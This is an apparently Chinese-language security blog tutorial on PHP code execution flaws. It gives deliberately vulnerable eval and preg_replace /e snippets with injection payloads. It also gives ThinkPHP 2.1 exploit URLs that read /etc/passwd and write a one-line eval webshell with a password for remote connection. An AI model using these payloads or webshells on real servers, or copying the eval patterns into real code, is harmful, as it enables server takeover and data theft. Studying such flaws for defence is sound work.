漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。
常见代码注射函数:
如:eval、preg_replace+/e、assert、call_user_func、call_user_func_array、create_function等函数
详见http://www.cnblogs.com/xiaozi/p/7834367.html
漏洞危害:执行代码,写入webshell、控制服务器
代码示例一:
<?php
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>
代码示例二:
<?php
//?cmd=${phpinfo()}
$str=$_GET['cmd'];
eval('$str="'.$str.'";');
?>
php 代码可以这样在双引号中被执行
代码示例三:
<?php
//?cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>
代码示例四:preg_replace函数
<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等价于
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>
参考:
慎用preg_replace危险的/e修饰符(一句话后门常用)
Thinkphp框架任意代码执行漏洞利用
# 一般找CMS相应版本漏洞,如ThinkPHP2.1 * 一句话
www.xxx.com/News/detail…}} * 得到当前路径
www.xxx.com/News/detail…)}} * 读文件
www.xxx.com/News/detail…}} POST的数据为:f=/etc/passwd * 写shell www.xxx.com/News/detail…}} POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>
直接执行一句话代码,然后用菜刀直接连接
http://site/index.php/module/action/param1/{${eval($_POST[s])}} 一句话密码:s
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
参考文章:
代码执行漏洞 www.jianshu.com/p/3f0cf18ad…
PHP漏洞全解(详细介绍) www.jb51.net/article/318…
PHP代码执行漏洞总结 blog.csdn.net/kuangmang/a…